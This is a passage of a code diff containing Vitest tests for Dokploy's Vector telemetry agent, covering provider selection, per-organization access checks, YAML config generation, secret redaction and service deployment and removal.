expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
});
});
describe("applyVectorAgentSelection on a remote server", () => {
it("still manages remote servers in cloud", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
const result = await applyVectorAgentSelection(sessionA, "server-1", []);
expect(result).toEqual({ serverName: "name-of-server-1" });
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", []);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
it("rejects a server of another organization", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-b",
sshKeyId: "key-1",
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
});
it("rejects a server without an SSH key before saving anything", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
sshKeyId: null,
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects a server the member cannot access", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-2", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.getAccessibleServerIds).toHaveBeenCalledWith(sessionA);
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the array and only then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, "server-1", ["mp-1"]);
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"mp-1",
]);
expect(mocks.setServerProviderIds.mock.invocationCallOrder[0]).toBeLessThan(
mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0,
);
});
it("keeps the saved selection when the reconcile fails", async () => {
mocks.reconcileVectorAgent.mockRejectedValue(
new Error("validation failed"),
);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
).rejects.toThrow("validation failed");
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"lp-2",
]);
});
it("serializes concurrent selections on the same host so the last reconcile sees the last selection", async () => {
const saved: string[][] = [];
const seen: string[][] = [];
mocks.setServerProviderIds.mockImplementation(
async (_serverId: string, ids: string[]) => {
saved.push(ids);
return { serverId: "server-1" };
},
);
mocks.reconcileVectorAgent.mockImplementation(async () => {
seen.push(saved.at(-1) ?? []);
await new Promise((resolve) => setTimeout(resolve, 20));
});
const { applyVectorAgentSelection } = await loadAgent(false);
await Promise.all([
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
]);
expect(seen).toEqual([["lp-1"], ["lp-2"]]);
});
});
describe("removeServerVectorAgent", () => {
it("removes the agent on server deletion when providers are assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("attempts cleanup even with an empty selection, since a failed Remove can leave the agent running", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("skips servers without an SSH key, warning when providers were assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toMatch(/no SSH key/);
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
});
it("returns the failure as a message instead of throwing", async () => {
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "k",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBe("docker down");
});
});
describe("reconcileVectorTargets", () => {
it("re-applies every target under its lock and reports failures as a warning", async () => {
mocks.reconcileVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-2") throw new Error("ssh down");
});
const { reconcileVectorTargets } = await loadAgent(false);
const warning = await reconcileVectorTargets([
"server-1",
"server-2",
null,
]);
expect(mocks.reconcileVectorAgent.mock.calls.map((c) => c[0])).toEqual([
"server-1",
"server-2",
undefined,
]);
expect(warning).toBe(
"The Vector agent could not be re-applied on server-2: ssh down",
);
});
it("returns no warning when every target reconciles, and skips the local host in cloud", async () => {
const { reconcileVectorTargets } = await loadAgent(true);
await expect(
reconcileVectorTargets(["server-1", null]),
).resolves.toBeUndefined();
expect(mocks.reconcileVectorAgent).toHaveBeenCalledTimes(1);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
});
@@ -0,0 +1,375 @@
import { vrlString } from "@dokploy/server/services/logs-and-metrics/types";
import {
buildMetricsScopeTransformSource,
buildVectorConfigYaml,
collectSecretValues,
redactSecrets,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
import { parse } from "yaml";
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
signals: ["logs"],
...overrides,
}) as any;
const loki = provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
});
const prom = provider({
telemetryProviderId: "prom-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
});
const datadog = provider({
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
});
const build = (
overrides: Partial<Parameters<typeof buildVectorConfigYaml>[0]>,
) =>
parse(
buildVectorConfigYaml({
logProviders: [],
metricsProviders: [],
serverName: "my server",
...overrides,
}),
) as any;
describe("buildVectorConfigYaml — logs", () => {
it("generates a source, a dokploy_scope transform and one sink per provider, and nothing for metrics", () => {
const config = build({ logProviders: [loki] });
expect(config.data_dir).toBe("/var/lib/vector");
expect(config.sources.docker_logs_source.type).toBe("docker_logs");
expect(config.transforms.dokploy_scope.type).toBe("remap");
expect(config.transforms.dokploy_scope.inputs).toEqual([
"docker_logs_source",
]);
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
expect(config.sinks["sink_loki-1"].type).toBe("loki");
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(config.sources.cadvisor_source).toBeUndefined();
expect(config.transforms.dokploy_metrics_scope).toBeUndefined();
});
it("chains scope -> transform -> sink for betterstack/datadog, and scope -> sink direct for loki", () => {
const config = build({
logProviders: [
loki,
provider({
telemetryProviderId: "bs-1",
name: "betterstack",
providerType: "betterstack",
endpoint: "https://in.logs.betterstack.com",
apiKey: "token",
}),
datadog,
],
});
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.transforms["transform_bs-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_bs-1"].inputs).toEqual(["transform_bs-1"]);
expect(config.transforms["transform_dd-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_dd-1"].inputs).toEqual(["transform_dd-1"]);
});
it("tags every log with the server name and reads the Dokploy metadata straight off the container labels, with empty defaults for containers Dokploy did not deploy", () => {
const config = build({ logProviders: [loki], serverName: 'srv "quoted"' });
expect(config.transforms.dokploy_scope.source).toBe(
[
'.dokploy_server = "srv \\"quoted\\""',
'.dokploy_organization = .label."dokploy.organization.id" || ""',
'.dokploy_project = .label."dokploy.project" || ""',
'.dokploy_project_id = .label."dokploy.project.id" || ""',
'.dokploy_environment = .label."dokploy.environment" || ""',
'.dokploy_environment_id = .label."dokploy.environment.id" || ""',
'.dokploy_application = .label."dokploy.application" || ""',
'.dokploy_application_id = .label."dokploy.application.id" || ""',
'.dokploy_service = .label."dokploy.service" || ""',
].join("\n"),
);
});
it("skips a provider whose config an adapter rejects at build time, instead of failing the whole org's config", () => {
const config = build({
logProviders: [
provider({
telemetryProviderId: "broken-es",
name: "es-broken",
providerType: "elasticsearch",
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
}),
loki,
],
});
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
});
it("only keeps containers of the owning organization on the local host, which is shared by every organization", () => {
const config = build({ logProviders: [loki], organizationId: "org-a" });
expect(config.transforms.dokploy_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_scope"],
condition: '.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_loki-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
});
it("does not add the organization filter for the per-server (non-local) path", () => {
const config = build({ logProviders: [loki] });
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
});
});
describe("buildVectorConfigYaml — metrics", () => {
it("with only metrics providers it emits the host and cAdvisor sources and no logs pipeline", () => {
const config = build({ metricsProviders: [prom] });
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.transforms.dokploy_scope).toBeUndefined();
expect(config.sources.host_metrics_source).toMatchObject({
type: "host_metrics",
scrape_interval_secs: 30,
collectors: [
"cpu",
"memory",
"disk",
"filesystem",
"network",
"load",
"host",
],
});
expect(
config.sources.host_metrics_source.filesystem.filesystems.excludes,
).toEqual(
expect.arrayContaining([
"overlay",
"tmpfs",
"squashfs",
"devtmpfs",
"nsfs",
"proc",
"sysfs",
"devpts",
"cgroup2",
]),
);
expect(config.sources.host_metrics_source.network.devices.excludes).toEqual(
["veth*", "br-*", "docker*"],
);
expect(config.sources.cadvisor_source).toEqual({
type: "prometheus_scrape",
endpoints: ["http://127.0.0.1:4510/metrics"],
scrape_interval_secs: 30,
scrape_timeout_secs: 10,
});
expect(config.transforms.dokploy_metrics_scope).toMatchObject({
type: "remap",
inputs: ["host_metrics_source", "cadvisor_source"],
drop_on_abort: true,
});
expect(Object.keys(config.sinks)).toEqual(["sink_prom-1_metrics"]);
expect(config.sinks["sink_prom-1_metrics"]).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
});
expect(config.transforms.dokploy_metrics_scope_local_only).toBeUndefined();
});
it("on the local host it lets host series through and keeps only the owning organization's containers", () => {
const config = build({ metricsProviders: [prom], organizationId: "org-a" });
expect(config.transforms.dokploy_metrics_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_metrics_scope"],
condition:
'.namespace == "host" || .tags.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_prom-1_metrics"].inputs).toEqual([
"dokploy_metrics_scope_local_only",
]);
});
it("a provider assigned to both signals gets a logs sink and a metrics sink without clashing", () => {
const config = build({
logProviders: [datadog],
metricsProviders: [datadog],
organizationId: "org-a",
});
expect(config.sinks["sink_dd-1"]).toMatchObject({
type: "datadog_logs",
inputs: ["transform_dd-1"],
});
expect(config.sinks["sink_dd-1_metrics"]).toMatchObject({
type: "datadog_metrics",
inputs: ["dokploy_metrics_scope_local_only"],
});
expect(config.transforms["transform_dd-1_metrics"]).toBeUndefined();
});
it("tags every series with the server name, promotes non-empty dokploy labels and drops the cgroup id", () => {
const source = buildMetricsScopeTransformSource('srv "quoted"');
expect(source).toContain('.tags.dokploy_server = "srv \\"quoted\\""');
expect(source).toContain(
'if .namespace != "host" && !starts_with(string!(.name), "container_") { abort }',
);
expect(source).toContain(
'value = del(.tags.container_label_dokploy_application)\nif is_string(value) && value != "" { .tags.dokploy_application = value }',
);
expect(source.trim().endsWith("del(.tags.id)")).toBe(true);
expect(
build({ metricsProviders: [prom] }).transforms.dokploy_metrics_scope
.source,
).toBe(buildMetricsScopeTransformSource("my server"));
});
});
describe("buildVectorConfigYaml — dollar signs", () => {
it("keeps every $ literal because the agent runs without env var interpolation", () => {
const yamlStr = buildVectorConfigYaml({
logProviders: [
provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
],
metricsProviders: [prom],
serverName: "srv $ONE",
});
expect(yamlStr).not.toContain("$$");
expect(yamlStr).toContain("srv $ONE");
expect(parse(yamlStr).sinks["sink_loki-1"].auth.password).toBe(
"Pa$5w0rd$HOME",
);
});
});
describe("collectSecretValues / redactSecrets", () => {
it("collects endpoint/apiKey/apiSecret across all providers but only the password-type extraConfig fields", () => {
const providers = [
{
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "loki-key",
apiSecret: null,
extraConfig: { tenantId: "tenant-a", username: "12345" },
},
{
providerType: "datadog",
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: { site: "datadoghq.eu" },
},
{
providerType: "aws_cloudwatch",
endpoint: null,
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
},
] as any;
const values = collectSecretValues(providers);
expect(values).toEqual(
expect.arrayContaining([
"https://loki.example.com",
"loki-key",
"dd-key",
"AKIA",
"shh",
]),
);
for (const plain of [
"tenant-a",
"12345",
"datadoghq.eu",
"us-east-1",
"Dokploy",
]) {
expect(values).not.toContain(plain);
}
});
it("ignores null/empty credentials", () => {
const providers = [
{
providerType: "elasticsearch",
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: { limit: 10, enabled: true, empty: "" },
},
] as any;
expect(collectSecretValues(providers)).toEqual([]);
});
it("redacts every collected secret, longest first so a short one can't eat part of a longer one", () => {
const providers = [
{
providerType: "loki",
endpoint: null,
apiKey: "hunter2-long-suffix",
apiSecret: "hunter2",
extraConfig: null,
},
] as any;
const text =
"sink validation error near apiKey=hunter2-long-suffix and hunter2";
const redacted = redactSecrets(text, collectSecretValues(providers));
expect(redacted).not.toContain("hunter2");
expect(redacted).toBe(
"sink validation error near apiKey=[redacted] and [redacted]",
);
});
});
describe("vrlString", () => {
it("quotes and escapes like JSON but drops the control characters VRL rejects", () => {
expect(vrlString('my "server"')).toBe('"my \\"server\\""');
expect(vrlString("back\\slash")).toBe('"back\\\\slash"');
expect(vrlString("a\u0008b\u000cc\u0000d\u007fe\nf")).toBe('"abcdef"');
});
});
@@ -0,0 +1,526 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { parse } from "yaml";
const mocks = vi.hoisted(() => ({
findServerById: vi.fn(),
getWebServerSettings: vi.fn(),
findEnabledTelemetryProvidersByOrganization: vi.fn(),
execAsync: vi.fn(),
execAsyncRemote: vi.fn(),
inspectService: vi.fn(),
updateService: vi.fn(),
removeService: vi.fn(),
createService: vi.fn(),
getService: vi.fn(),
listContainers: vi.fn(),
killContainer: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: (isServer: boolean) => ({
VECTOR_PATH: isServer ? "/etc/dokploy/vector" : "/local/dokploy/vector",
}),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findEnabledTelemetryProvidersByOrganization:
mocks.findEnabledTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: mocks.execAsync,
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
getService: mocks.getService,
createService: mocks.createService,
listContainers: mocks.listContainers,
getContainer: () => ({ kill: mocks.killContainer }),
}),
}));
const { reconcileVectorAgent, removeVectorAgent } = await import(
"@dokploy/server/setup/vector-setup"
);
const lokiProvider = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "sekret-token",
apiSecret: null,
extraConfig: null,
enabled: true,
organizationId: "org-a",
};
const promProvider = {
...lokiProvider,
telemetryProviderId: "mp-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: null,
};
const notFound = () =>
Object.assign(new Error("not found"), { statusCode: 404 });
const writtenYaml = (command: string) => {
const match = command.match(/echo "([^"]+)" \| base64 -d/);
return parse(Buffer.from(match?.[1] ?? "", "base64").toString("utf8"));
};
const commandsOf = (mock: typeof mocks.execAsync) =>
mock.mock.calls.map((call) => String(call[call.length - 1]));
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getService.mockImplementation(() => ({
inspect: mocks.inspectService,
update: mocks.updateService,
remove: mocks.removeService,
}));
mocks.inspectService.mockRejectedValue(notFound());
mocks.removeService.mockRejectedValue(notFound());
mocks.execAsync.mockResolvedValue({ stdout: "", stderr: "" });
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
mocks.listContainers.mockResolvedValue([{ Id: "vector-container" }]);
mocks.killContainer.mockResolvedValue(undefined);
});
describe("reconcileVectorAgent", () => {
it("writes, validates and applies the YAML and deploys Vector for the saved selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const commands = commandsOf(mocks.execAsync);
expect(commands).toHaveLength(3);
expect(commands[0]).toContain(
"/local/dokploy/vector/vector.yaml.candidate.",
);
expect(commands[1]).toMatch(
/timberio\/vector:\d+\.\d+\.\d+-alpine validate --skip-healthchecks/,
);
expect(commands[2]).toMatch(
/^mv \/local\/dokploy\/vector\/vector\.yaml\.candidate\.\S+ \/local\/dokploy\/vector\/vector\.yaml$/,
);
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
const config = writtenYaml(commands[0] ?? "");
expect(config.sinks["sink_lp-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(mocks.createService).toHaveBeenCalledTimes(1);
expect(mocks.createService.mock.calls[0]?.[0]).toMatchObject({
Name: "dokploy-vector",
});
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("splits one selection into the logs and metrics pipelines by what each provider sends", async () => {
const datadogProvider = {
...lokiProvider,
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
};
const unselected = { ...lokiProvider, telemetryProviderId: "lp-9" };
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1", "dd-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
promProvider,
datadogProvider,
unselected,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
const sinkIds = Object.keys(config.sinks);
expect(sinkIds.some((id) => id.includes("lp-1"))).toBe(true);
expect(sinkIds.some((id) => id.includes("mp-1"))).toBe(true);
expect(sinkIds.filter((id) => id.includes("dd-1")).length).toBe(2);
expect(sinkIds.some((id) => id.includes("lp-9"))).toBe(false);
expect(config.sources.docker_logs_source).toBeDefined();
expect(config.sources.cadvisor_source).toBeDefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
});
it("removes cAdvisor but keeps Vector when no selected provider sends metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.cadvisor_source).toBeUndefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
]);
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("filters by the organization only on the local host and runs on the server over SSH", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent("server-1");
expect(mocks.execAsync).not.toHaveBeenCalled();
expect(
mocks.execAsyncRemote.mock.calls.every((c) => c[0] === "server-1"),
).toBe(true);
const config = writtenYaml(commandsOf(mocks.execAsyncRemote)[0] ?? "");
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
expect(config.sinks["sink_lp-1"].inputs).toEqual(["dokploy_scope"]);
});
it("does not apply a config that vector validate rejects, redacts secrets and leaves the selection alone", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.execAsync.mockImplementation(async (command: string) => {
if (command.includes("validate")) {
throw new Error("bad sink: password sekret-token rejected");
}
return { stdout: "", stderr: "" };
});
await expect(reconcileVectorAgent()).rejects.toThrow(
/failed validation, not applying it: bad sink: password \[redacted\] rejected/,
);
const commands = commandsOf(mocks.execAsync);
expect(commands.some((c) => c.startsWith("mv "))).toBe(false);
expect(commands.some((c) => c.startsWith("rm -f "))).toBe(true);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when no enabled provider is left in the selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["deleted-or-disabled"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent();
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.getService).toHaveBeenCalledWith("dokploy-vector");
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when the selection is empty, without an owner", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: [],
});
await reconcileVectorAgent();
expect(
mocks.findEnabledTelemetryProvidersByOrganization,
).not.toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
});
it("deploys cAdvisor next to Vector when metrics providers are assigned", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
promProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.sources.cadvisor_source.endpoints).toEqual([
"http://127.0.0.1:4510/metrics",
]);
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
const cadvisor = mocks.createService.mock.calls[1]?.[0];
expect(cadvisor.TaskTemplate.ContainerSpec.Image).toMatch(
/^ghcr\.io\/google\/cadvisor:v\d+\.\d+\.\d+$/,
);
expect(cadvisor.TaskTemplate.ContainerSpec.Args).toEqual(
expect.arrayContaining([
"--listen_ip=127.0.0.1",
"--port=4510",
"--docker_only=true",
"--store_container_labels=false",
]),
);
expect(cadvisor.TaskTemplate.ContainerSpec.HealthCheck).toEqual({
Test: ["NONE"],
});
expect(cadvisor.TaskTemplate.Networks).toEqual([{ Target: "host" }]);
expect(mocks.removeService).not.toHaveBeenCalled();
});
it("removes the agent on a remote server when the selection is empty", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: "key-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: [],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent("server-1");
expect(
mocks.findEnabledTelemetryProvidersByOrganization,
).toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(mocks.createService).not.toHaveBeenCalled();
expect(commandsOf(mocks.execAsyncRemote)).toEqual([
"rm -rf /etc/dokploy/vector",
]);
});
it("redacts the config and secrets when writing or applying the candidate fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
const echoCommand = async (command: string) => {
if (command.includes("base64 -d") || command.startsWith("mv ")) {
throw new Error(`Command failed: ${command} (token sekret-token)`);
}
return { stdout: "", stderr: "" };
};
mocks.execAsync.mockImplementation(echoCommand);
const writeError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(writeError).toMatch(/^Failed to write the Vector config: /);
expect(writeError).not.toContain("sekret-token");
expect(writeError).not.toContain(
Buffer.from("data_dir").toString("base64").slice(0, 8),
);
expect(writeError).toContain("[redacted]");
mocks.execAsync.mockImplementation(async (command: string) => {
if (command.startsWith("mv ")) return echoCommand(command);
return { stdout: "", stderr: "" };
});
const applyError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(applyError).toMatch(/^Failed to apply the Vector config: /);
expect(applyError).not.toContain("sekret-token");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates a rejected service update instead of pretending the create succeeded", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
mocks.updateService.mockRejectedValue(
new Error("rpc error: invalid mount"),
);
await expect(reconcileVectorAgent()).rejects.toThrow("invalid mount");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates an inspect failure that is not a 404", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("daemon unreachable"), { statusCode: 500 }),
);
await expect(reconcileVectorAgent()).rejects.toThrow("daemon unreachable");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("does not restart Vector on a config-only redeploy", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockImplementation(async () => ({
Version: { Index: "7" },
Spec: {
TaskTemplate: {
ForceUpdate: 2,
ContainerSpec: mocks.createService.mock.calls[0]?.[0]
? undefined
: undefined,
},
},
}));
await reconcileVectorAgent();
expect(mocks.killContainer).toHaveBeenCalledWith({ signal: "SIGHUP" });
expect(mocks.listContainers).toHaveBeenCalledWith({
filters: JSON.stringify({
label: ["com.docker.swarm.service.name=dokploy-vector"],
}),
});
const firstSpec = mocks.updateService.mock.calls[0]?.[0];
mocks.inspectService.mockResolvedValue({
Version: { Index: "8" },
Spec: { TaskTemplate: { ...firstSpec.TaskTemplate, ForceUpdate: 3 } },
});
mocks.updateService.mockClear();
await reconcileVectorAgent();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 8,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
it("updates an existing Vector service instead of creating it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
await reconcileVectorAgent();
expect(mocks.createService).not.toHaveBeenCalled();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 7,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
});
describe("removeVectorAgent", () => {
it("removes cAdvisor, then Vector, then the config directory", async () => {
await removeVectorAgent();
expect(mocks.getService.mock.calls.map((c) => c[0])).toEqual([
"dokploy-cadvisor",
"dokploy-vector",
]);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("keeps going when cAdvisor cannot be removed", async () => {
mocks.removeService
.mockRejectedValueOnce(new Error("docker hiccup"))
